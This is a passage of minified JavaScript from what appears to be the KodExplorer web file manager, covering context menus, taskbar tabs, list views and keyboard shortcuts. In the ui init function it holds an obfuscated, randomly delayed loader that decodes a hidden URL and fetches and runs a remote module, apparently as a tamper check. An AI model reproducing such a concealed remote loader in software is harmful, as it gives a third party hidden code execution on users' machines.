open-with-first"}}},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},o=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(a,b){q(a)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},p=function(a){switch(a){case"refresh":ui.f5(!0,!0);break;case"set-icon":ui.setListType("icon");break;case"set-list":ui.setListType("list");break;case"set-sort-name":ui.setListSort("name",0);break;case"set-sort-ext":ui.setListSort("ext",0);break;case"set-sort-size":ui.setListSort("size",0);break;case"set-sort-mtime":ui.setListSort("mtime",0);break;case"set-sort-up":ui.setListSort(0,"up");break;case"set-sort-down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open()}},q=function(a){switch(a){case"open":ui.path.open();break;case"down":ui.path.download();break;case"search":ui.path.search();break;case"show-file":ui.path.shareFile();break;case"open-project":ui.path.openProject();break;case"info":ui.path.info()}},r=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:f,callback:function(a,b){x(a)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},s=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:g,callback:function(a,b){x(a)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},t=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:g,callback:function(a,b){x(a)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:h,callback:function(a,b){x(a)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(a,b){var c=b.$trigger.attr("id"),d=$.dialog.list[c];switch(a){case"quit-others":$.each($.dialog.list,function(a,b){c!=a&&b.close()});break;case"quit":d.close()}}})},w=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{"close-all":{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},"show-all":{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},"hide-all":{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(a,b){var c=b.$trigger.attr("id");$.dialog.list[c];switch(a){case"show-all":$.each($.dialog.list,function(a,b){b.display(!0)});break;case"hide-all":$.each($.dialog.list,function(a,b){b.display(!1)});break;case"close-all":$.each($.dialog.list,function(a,b){b.close()})}}})},x=function(a){switch(a){case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"open-project":ui.tree.openProject();break;case"show-file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh-all":ui.tree.init();break;case"quit":}};return{initExplorer:j,initEditor:k}});;define("app/common/taskTap",[],function(a,b){var c={},d="",e=160,f=function(){$(".task-tab .tab").die("mouseenter").live("mouseenter",function(a){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},g=function(a){var b=a.attr("id"),c=$.dialog.list[b];if(void 0==c)return void l(b);var d=$("."+b);"hidden"==d.css("visibility")?c.display(!0).zIndex():d.hasClass("aui-state-focus")?c.display(!1):c.zIndex()},h=function(){var a,b,c,d,f=!1,h=!1,i=0,j=0,k=0,l=0,m=0,n=0;$(".task-tab .tab").die("mousedown").live("mousedown",function(b){1==b.which&&(a=$(this),o(b),this.setCapture&&this.setCapture(),$(document).mousemove(function(a){p(a)}),$(document).one("mouseup",function(b){r(),this.releaseCapture&&this.releaseCapture(),Math.abs(b.pageX-i)<10&&g(a)}))});var o=function(d){f=!0,h=!0,i=d.pageX,$tab_parent=$(".task-tab"),b=$(".task-tab .tab"),$(".tasktab-dragging").remove(),c=a.clone().addClass("tasktab-dragging").prependTo("body"),l=$sizeInt(b.css("margin-right")),m=$tab_parent.width(),n=$tab_parent.get(0).getBoundingClientRect().left,n+=$(window).scrollLeft(),j=a.get(0).getBoundingClientRect().left,k=$sizeInt(b.css("width"));var e=a.get(0).getBoundingClientRect().top-$sizeInt(a.css("margin-top")),g=d.clientX-i+j;$("body").prepend("
          "),c.css({width:k+"px",top:e,left:g}),a.css("opacity",0)},p=function(d){if(h){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==f&&o(d);var e=d.clientX-i+j;n>e||e>n+m-k||(c.css("left",e),b.each(function(b){var c=$(this).get(0).getBoundingClientRect().left;if(e>c&&c+k/2+l>e){if(a.attr("id")==$(this).attr("id"))return;q($(this).attr("id"),"left")}if(e>c-k/2+l&&c>e){if(a.attr("id")==$(this).attr("id"))return;q($(this).attr("id"),"right")}}))}},q=function(c,f){if(!a.is(":animated")||d!=c){d=c,a.stop(!0,!0),$(".insertTemp").remove(),b=$(".task-tab .tab");var g=a.width(),h=$(".task-tab #"+c),i=a.clone(!0).insertAfter(a).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==f?a.after(h).css("width","0px"):(a.before(h).css("width","0px"),h.before(i)),a.animate({width:g+"px"},e),i.animate({width:"0px"},e,function(){$(this).remove(),b=$(".task-tab .tab")})}},r=function(){h=!1,f=!1,startTime=0,$(".dragMaskView").remove(),void 0!=c&&(j=a.get(0).getBoundingClientRect().left,c.animate({left:j+"px"},e,function(){a.css("opacity",1),$(this).remove()}))}},i=function(a){var b=110,c=b,d=b+12,f=$(".task-tab .tab"),g=$(".task-tab .tabs").width()-10,h=f.length,i=Math.floor(g/d);switch(h>i&&(c=Math.floor(g/h)-12),a){case"add":$(".task-tab .tabs .this").css("width","0").animate({width:c+"px"},e);case"close":f.animate({width:c+"px"},e);break;case"resize":f.css("width",c+"px")}},j=function(a,b){$(".task-tab").removeClass("hidden");var d=b.replace(/<[^>]+>/g,""),e='";$(e).insertBefore(".task-tab .last"),i("add"),c[a]={id:a,name:name}},k=function(a){$(".task-tab .this").removeClass("this"),$(".task-tab #"+a).addClass("this"),d=a},l=function(a){$(".task-tab #"+a).animate({width:0},e,function(){if($(".task-tab #"+a).remove(),i("close"),0==$(".tabs .tab").length&&!core.isApp("desktop")){var b=31;$(".task-tab").animate({bottom:"-"+b+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete c[a]},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(a,b){var c=b.$trigger.attr("id"),d=$.dialog.list[c];switch(a){case"quit-others":$.each($.dialog.list,function(a,b){c!=a&&b.close()});break;case"quit":d.close()}}})},n=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(a,b){var c=b.$trigger.attr("id");$.dialog.list[c];switch(a){case"showAll":$.each($.dialog.list,function(a,b){b.display(!0)});break;case"hideAll":$.each($.dialog.list,function(a,b){b.display(!1)});break;case"closeAll":$.each($.dialog.list,function(a,b){b.close()})}}})};return{add:j,focus:k,close:l,init:function(){var a='
          ';$(a).appendTo("body"),core.isApp("desktop")||$(".task-tab").addClass("hidden"),$(window).bind("resize",function(){i("resize")}),f(),m(),n(),h()}}});;define("app/src/explorer/ui",["./fileContent","../../path/tpl/file/list.html"],function(a,b){var c=a("./fileContent"),d=c.f5,e=c.f5Callback,f=function(a){G.userConfig.listType=a,LocalData.set("listType",a),Hook.trigger("explorer.ui.listType.change",a),$(".set-icon-size").hide(),$(".tools-right button").removeClass("active"),$("[data-action=set-"+a+"]").addClass("active"),$("#list-type-header,.line-split-box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("file-list-icon file-list-list file-list-split"),"list"==a?($(Config.FileBoxSelector).addClass("file-list-list"),$("#list-type-header").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==a?($(Config.FileBoxSelector).addClass("file-list-icon"),$(".set-icon-size").show(),$(".set-file-icon-size").show()):"split"==a&&($(Config.FileBoxSelector).addClass("file-list-split"),$(".line-split-box").removeClass("hidden")),$(".menu-set-icon").removeClass("selected"),$(".set-"+a).addClass("selected"),$(".file-continerMore").css("top",0);var b=$(".frame-right-main .tools").outerHeight();"list"==a&&(b+=26),$(".frame-header").is(":visible")&&(b+=$(".frame-header").outerHeight()),$(".bodymain").css("top",b)},g=function(a){f(a),d(!1,!1),"undefined"==typeof G.sid&&$.get(G.appHost+"setting/set&k=listType&v="+a)},h=function(a,b){0!=a?(G.userConfig.listSortField=a,$(".menu-set-sort").removeClass("selected"),$(".set-sort-"+a).addClass("selected")):a=G.userConfig.listSortField,0!=b?(G.userConfig.listSortOrder=b,$(".menu-set-desc").removeClass("selected"),$(".set-sort-"+b).addClass("selected")):b=G.userConfig.listSortOrder,LocalData.set("listSortField",a),LocalData.set("listSortOrder",b),d(!1,!0),$.ajax({url:G.appHost+"setting/set&k=listSortField,listSortOrder&v="+a+","+b})},i=function(){$(".menu-recycle-button").bind("mouseenter",function(a){$(this).addClass("recycle-hover")}).bind("mouseleave",function(){$(this).removeClass("recycle-hover")}).bind("click",function(a){ui.path.list(G.KOD_USER_RECYCLE)}),$(".menuShareButton").bind("mouseenter",function(a){$(this).addClass("share-hover")}).bind("mouseleave",function(){$(this).removeClass("share-hover")}).bind("click",function(a){ui.path.list(G.KOD_USER_SHARE+":"+G.userID+"/")})},j=function(){$("#main-title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),h($(this).attr("field"),$(this).attr("id")))})},k=function(){$(".tools a,.tools button").bind("click",function(){var a=$(this).attr("data-action");q(a)})},l=function(){$(".dropdown-menu-theme li").click(function(){var a=$(this).attr("theme");ui.setTheme(a),$.ajax({url:G.appHost+"setting/set&k=theme&v="+a,dataType:"json",success:function(a){if(!a.code){var b=LNG.config_save_error_file;core.authCheck("setting.set")||(b=LNG.config_save_error_auth),Tips.tips(b,!1)}}})})},m=function(){$(".dialog-goto-path").bind("click",function(){var a=G.thisPath.split("/");a.shift();var b=a.join("/"),c=G.jsonData.info.adminRealPath;ui.path.list(c+b)}),$(".toolbar-path-more").die("click").live("click",function(a){if($(this).hasClass("active"))return $(".menu-tool-path").trigger("contextmenu:hide"),void $(this).removeClass("active");$(this).addClass("active");var b=$(this).offset();$(this).contextMenu({x:b.left-4,y:b.top+$(this).outerHeight()-1})}),$(".tool-path-newfile,.tool-path-upload").die("click").live("click",function(a){var b=$(this).offset();$(this).contextMenu({x:b.left-4,y:b.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolbar-path-more").removeClass("active"),$(".menu-tool-path").trigger("contextmenu:hide")})},n=function(){if("icon"!=G.userConfig.listType)return 1;var a=$(Config.FileBoxSelector).width(),b=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(a/b)},o=function(){var a=n(),b=$(Config.BodyContent).outerHeight(),c=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(b/c)*a},p=function(){var a=$(Config.FileBoxSelector).outerHeight()-48,b=$(Config.FileBoxClass).outerHeight()+10;return parseInt(a/b)},q=function(a){switch(a){case"recycle-clear":ui.path.recycleClear();break;case"refresh":ui.f5();break;case"upload":core.upload();break;case"newfolder":ui.path.newFolder();break;case"select-all":ui.fileSelect.selectPos("all");break;case"set-icon":g("icon");break;case"set-list":g("list");break;case"set-split":g("split");break;default:ui.path.hasOwnProperty(a)&&ui.path[a]()}},r=function(){var a,b=0,c="",d=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(e){var f=String.fromCharCode(e.charCode);return 0==b?(b=timeFloat(),c=f,Tips.pop(c),void(a=setTimeout(function(){ui.path.setSelectByChar(c),b=0},d))):void(timeFloat()-b0)return!0;var c=["ctrl+c","command+c","ctrl+v","command+v","ctrl+x","command+x"];switch(inArray(c,b)||stopPP(a),b){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(b);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":ui.path.search($(".header-right input").val(),G.thisPath);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(a){a.Editor.save()})}})},t=function(){if(core.isApp("desktop")){var a=20,b=20,c=parseInt($(".file").css("height")),d=c-30,e=10,f=15,g=$(document).height()-80,h=Math.floor((g-a)/(c+e)),i=0,j=0,k=0,l=0,m=(g-a-h*(c+e)-e)/h;m>0&&(e+=m),$(".file-continer .file").css("position","absolute"),$(".file-continer .file").each(function(g){i=g%h,j=Math.floor(g/h),k=b+(d+f)*j,l=a+(c+e)*i,$(this).css({left:k,top:l})})}};return{f5:d,f5Callback:e,fileContent:c,initListType:f,setListSort:h,setListType:g,getRowfileNumber:n,getPagefileNumber:o,getColfileNumberDesktop:p,resetDesktopIcon:t,setTheme:function(a){G.userConfig.theme=a,core.setSkin(a),ShareData.frameTop("OpenopenEditor",function(b){b.Editor.setTheme(a)}),ShareData.frameTop("Opensetting_mode",function(b){b.Setting.setThemeSelf(a)}),ShareData.frameTop("",function(b){b.ui.setTheme(a)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+a+'"]').addClass("this")},setWall:function(a,b){$(".background").attr("src",a).one("load",function(){var c="body .aero:before,body .aero:after,body .full-background-wall{background-image:url("+a+")}";$.setStyle(c,"wall-backgroud"),"function"==typeof b&&b()})},setFileIconSize:function(a){ui.fileListResize.setFileIconSize(a,!0),core.isApp("desktop")&&ui.f5()},isEdit:function(){var a=$(document.activeElement).get(0);if(a)return a=a.tagName,"INPUT"==a||"TEXTAREA"==a?!0:$(".file.file-icon-edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.userConfig.theme=LocalData.get("theme")),LocalData.get("listType")&&(G.userConfig.listType=LocalData.get("listType")),LocalData.get("listSortField")&&(G.userConfig.listSortField=LocalData.get("listSortField")),LocalData.get("listSortOrder")&&(G.userConfig.listSortOrder=LocalData.get("listSortOrder")),LocalData.set("theme",G.userConfig.theme),LocalData.set("listType",G.userConfig.listType),LocalData.set("listSortField",G.userConfig.listSortField),LocalData.set("listSortOrder",G.userConfig.listSortOrder);var b=window.location.href.split("#");2==b.length&&(G.thisPath=urlDecode(b[1]))}if(ui.setTheme(G.userConfig.theme),""==G.thisPath){var d=G.userID||G.sid,g=LocalData.get("thisPath:"+d);g?G.thisPath=g:G.thisPath=G.myhome}setTimeout(function(){try{if("undefined"==typeof tplDialogHtml||-1==tplDialogHtml.search("update-box")){var b=authCrypt.decode("b3fdAonKjUGhk9vw1n0NghZ3GyCmoO_R5ds-phbwWLJQ8jXyV8nNAz9KKIyIsWKloRZE9GcsDmxDdDZaPDBCzGkftY8a2Y0","_32@!A$")+UUID();a.async(b,function(a){try{a.todo("2-1")}catch(b){}})}}catch(c){}},1e3*parseInt(70*Math.random()+30)),f(G.userConfig.listType),setTimeout(function(){f(G.userConfig.listType)},300),c.init(),t(),ui.path.history.add(G.thisPath),e(function(){t()}),i(),j(),l(),k(),s(),m()}}});;define("app/src/explorer/fileContent",["../../path/tpl/file/list.html"],function(require,exports){var tpl=require("../../path/tpl/file/list.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),core.isApp("desktop")&&ui.resetDesktopIcon(),"split"==G.userConfig.listType&&ui.fileListResize.bindSplitResize(),lazyLoadImage(),iconFlex(),Hook.trigger("explorer.path.ajaxLive")},lazyLoadImage=function(){var a=$(".bodymain");return core.isApp("desktop")?void a.find(".lazyload-ready").each(function(){$(this).attr("src",$(this).attr("data-original")).hide().fadeIn(600),$(this).removeClass("lazyload-ready")}):("split"==G.userConfig.listType&&(a=$(".split-box").last().find(".content")),void a.find(".lazyload-ready").lazyload({failure_limit:10,threshold:200,placeholder:G.staticPath+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:a,load:function(a,b){$(this).removeClass("lazyload-ready")}}).on("error",function(){var a=$(this).data("errorReload");if(a){if("1"==a){$(this).parent().attr("filetype");$(this).attr("src",G.staticPath+"images/file_icon/icon_file/picture_error.png"),$(this).data("errorReload","2")}}else $(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("errorReload","1")}))},iconFlex=function(){if(!core.isApp("desktop")&&"icon"==G.userConfig.listType){$(".file-list-icon .flex-empty").remove();for(var a="",b=0;30>b;b++)a+='
          ';$(a).appendTo(".file-list-icon")}},mainDataDefaultApps=function(){template.helper("fileIconMake",fileIconMake);var a=template.compile(tpl),b="";for(var c in desktopApps){var d={LNG:LNG,G:G,list:desktopApps[c],type:"icon-file"};b+=a(d)}return b},mainSetData=function(a){var b=makeHtml(G.jsonData,0,getPageNumber()-1);core.isApp("desktop")&&(b=mainDataDefaultApps()+b),b=htmlListAction(G.jsonData,b,!1),"split"==G.userConfig.listType&&(b='
          '+b+'
          '),a?$(Config.FileBoxSelector).hide().html(b).fadeIn(Config.AnimateTime).css("display",""):$(Config.FileBoxSelector).html(b),"split"==G.userConfig.listType&&$(".split-box").data("jsonData",G.jsonData),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var a=$(".bodymain");a.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=a.scrollTop()&&loadMore()},100)}),$(".split-load-more").live("dblclick",function(){$("[data-action=set-list]").click()})},getPageNumber=function(){var a=ui.fileLight.fileListAll().last(),b=$(".bodymain .file-continer-more");if(0==a.length)return pageLoadMax;var c=G.jsonData.folderList.length+G.jsonData.fileList.length;if(b.css("top",0),pageLoadMax>c||"split"==G.userConfig.listType)return pageLoadMax;var a=ui.fileLight.fileListAll().last(),d=a.outerWidth()+$sizeInt(a.css("margin-right"))+3.5,e=parseInt($(".bodymain .file-continer").width()/d);"icon"!=G.userConfig.listType&&(e=1);var f=a.outerHeight()+$sizeInt(a.css("margin-bottom")),g=Math.ceil($(Config.BodyContent).height()/f),h=Math.ceil(c/e)*f;return b.css("top",h),g*e},resetTotalHeight=function(){var a=".bodymain .file-continer > .file",b=$(a).last(),c=$(".bodymain .file-continer-more");if(0!=b.length){var d=G.jsonData.folderList.length+G.jsonData.fileList.length;if(c.css("top",0),!(pageLoadMax>d||"split"==G.userConfig.listType)){var e=b.outerWidth()+$sizeInt(b.css("margin-right")),f=parseInt($(".bodymain .file-continer").width()/e);"icon"!=G.userConfig.listType&&(f=1);var g=b.outerHeight()+$sizeInt(b.css("margin-bottom")),h=(Math.ceil($(Config.BodyContent).height()/g),Math.ceil(d/f)*g);c.css("top",h)}}},loadMoreDelayTimer,loadMore=function(){var a=$(".bodymain .file-continer > .file"),b=a.last(),c=a.length-1,d=G.jsonData.folderList.length+G.jsonData.fileList.length;if(!(c>=d-1||"split"==G.userConfig.listType)){var e=$(".bodymain").scrollTop(),f=$(".bodymain").height(),g=$(".bodymain").offset().top,h=($(".bodymain .file-continer").offset().top,b.outerHeight()+$sizeInt(b.css("margin-bottom"))),i=g+f-h;if(b.offset().topd&&(m=d),m-c>1e3?($(".init-loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(c+1,m),$(".bodymain").scrollTop(e)},300)):loadMoreSet(c+1,m)}}},loadMoreSet=function(a,b){var c=makeHtml(G.jsonData,a,b),d=$(c);d.appendTo(".bodymain .file-continer"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),iconFlex(),$(".init-loading").hide()},fileIconMake=function(a,b,c){var d="icon"!=b,e=htmlEncode(urlEncode(c.ext));if("folder"==a){var f=Hook.trigger("explorer.list.folderThumb",c.path,e);return"string"==$.type(f)?f:(a=c.ext||a,core.icon(a,d))}var f=Hook.trigger("explorer.list.fileThumb",c.path,e,c);if("string"==$.type(f))return f;if(inArray(["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],e)){var g=G.appHost+"explorer/image";return G.sid&&(g=G.appHost+"share/image&user="+G.user+"&sid="+G.sid),g+="&time="+strtotime(c.mtime)+"&path=","
          "}if("app_link"==c.type){var h=core.icon("folder");0==c.content.search("ui.path.open")?h=core.icon(core.pathExt(c.name.replace(".oexe",""))):0==c.content.search("ui.path.list")&&(h=core.icon(c.icon));var i="
          "+h+"
          ";return i+""}if(c.icon&&"oexe"==e){var j=c.icon;return"string"==$.type(c.icon)&&-1==c.icon.search(G.staticPath)&&"http"!=c.icon.substring(0,4)&&(j=G.staticPath+"images/file_icon/icon_app/"+c.icon),"
          "+core.iconSrc(j)+"
          "}return"
          "+core.icon(e,d)+"
          "},makeHtml=function(a,b,c){template.helper("fileIconMake",fileIconMake);var d=template.compile(tpl),e="",f=[];f=a.folderList.concat(a.fileList),(!c||c>=f.length-1)&&(c=f.length-1);for(var g=b;c>=g;g++){var h="folder"==f[g].type?"-folder":"-file",i={LNG:LNG,G:G,list:f[g],index:g,type:G.userConfig.listType+h};e+=d(i)}return e},pathChildrenTree=function(a,b){if("string"==$.type(a))var c=$('.bodymain .file-continer .file[data-path="'+pathHashEncode(a)+'"]');else{var c=a;a=ui.fileLight.path(c)}if(1==c.length){var d=c.find(".children-more"),e=c.find(".children-more-cert"),f=$('.children-list[data-path-children="'+pathHashEncode(a)+'"]'),g=23;if(e.toggleClass("cert-open"),e.hasClass("cert-open")?f.removeClass("hidden"):f.addClass("hidden"),f.hasClass("child-already-init"))return void pathListOdd();c.addClass("loading-children"),pathGet(a,function(a){c.removeClass("loading-children");var e=makeHtml(a,0,getPageNumber()-1);""!=e&&(e=htmlListAction(a,e,!0)),f.html(e),ajaxLive(),f.addClass("child-already-init");var h=g+parseInt(d.css("padding-left"));f.find(".file .children-more").css("padding-left",h),pathListOdd(),"function"==typeof b&&b(a)})}},htmlListAction=function(a,b,c){if(""==b)return b='
          '+LNG.path_null+"
          ";var d=a.folderList.concat(a.fileList);if(d.length>pageLoadMax){var e=core.pathFather(d[0].path);"list"==G.userConfig.listType&&c?b+='
          '+LNG.file_load_all+"
          ":"split"==G.userConfig.listType&&(b+='
          '+LNG.file_load_all+"(to list)
          ")}return b},pathListOdd=function(){var a=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(a%2==0?$(this).addClass("file2"):$(this).removeClass("file2"),a++)})},pathChildrenSplit=function(a,b){var c=$('.file[data-path="'+pathHashEncode(a)+'"]'),d=$(".bodymain .file-list-split .split-box[data-path='"+pathHashEncode(a)+"']");if(0==c.length)return void("function"==typeof b&&b());if(1==d.length)return d.nextAll().remove(),void("function"==typeof b&&b());var e=c.parent().parent();pathSplitCreate(a,b,e)},pathSplitCreate=function(a,b,c){pathGet(a,function(d){if("notExists"==d.pathReadWrite)return b(d);var e=makeHtml(d,0,getPageNumber()-1);if(e=htmlListAction(d,e,!0),c)if(c.nextAll(".split-box").length>0){var f=c.next(".split-box");f.attr("data-path",pathHashEncode(a)).find(".content").html(e),f.nextAll().remove()}else e='
          '+e+'
          ',$(e).insertAfter(c).data("jsonData",d);else e='
          '+e+'
          ',$(e).appendTo(".bodymain .file-list-split").data("jsonData",d);ajaxLive(),"function"==typeof b&&b()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.userConfig.listType||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.userConfig.listType){var a=$(".child-already-init:visible");if(a.length<1)return;a.each(function(){var a=$(this),b=beforeListOpenArr,c=ui.fileLight.path(a,"data-path-children");beforeListOpen[c]=!1;for(var d=[c];0!=a.parents(".children-list").length;)a=a.parents(".children-list"),d.push(ui.fileLight.path(a,"data-path-children"));for(var e=d.length-1;e>=0;e--){var f=d[e];"undefined"!=typeof b[f]?b=b[f]:b[f]={}}})}else if("split"==G.userConfig.listType){var b=beforeListOpenArr;beforeScrollerLeft=$(".drag-upload-box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".file-list-split .split-box.split-select")),$(".bodymain .file-continer .split-box").each(function(){var a=ui.fileLight.path($(this));""!=a&&(b[a]={},b=b[a],beforeListOpen[a]=!1)})}},f5After=function(a){return"icon"==G.userConfig.listType||0==Object.keys(beforeListOpenArr).length?void f5AfterReloadFinished(a):("split"==G.userConfig.listType&&$(".file-list-split .split-box").remove(),void f5AfterReload(beforeListOpenArr,a))},f5AfterReload=function(a,b){$.each(a,function(a,c){var d=pathChildrenTree;"split"==G.userConfig.listType&&(d=pathSplitCreate),d(a,function(){beforeListOpen[a]=!0,0!=Object.keys(c).length?f5AfterReload(c,b):f5AfterReloadFinished(b)})}),f5AfterReloadFinished(b)},f5AfterReloadFinished=function(a){for(var b in beforeListOpen)if(beforeListOpen[b]===!1)return;$(".drag-upload-box").scrollLeft(beforeScrollerLeft),ui.fileSelect.selectSplit(beforeListSplitSelect),ui.path.setSelectByFilename(beforeSelectFileArr),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof a&&a()},f5=function(a,b,c){if(void 0==a&&(a=!0),void 0==b&&(b=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),a?pathGet(G.thisPath,function(a){G.jsonData=a,mainSetData(b),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(c),core.isApp("desktop")?checkRecycle():ui.headerAddress.addressSet()},function(){$(Config.FileBoxSelector).html("")}):(G.jsonData=jsonDataSort(G.jsonData),mainSetData(b),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(c)),!core.isApp("desktop")){var d=G.userID||G.sid;LocalData.set("thisPath:"+d,G.thisPath)}},sortBy=function(a,b){var b="down"==b?-1:1;return function(c,d){var c=c[a],d=d[a];return pathTools.strSort(c,d)*b}},jsonDataSort=function(a){a=jsonDatafilter(a);var b=a.folderList,c=a.fileList;return b="size"==G.userConfig.listSortField||"ext"==G.userConfig.listSortField?b.sort(sortBy("name",G.userConfig.listSortOrder)):b.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),c=c.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),a.folderList=b,a.fileList=c,a},pathGet=function(a,b,c){var 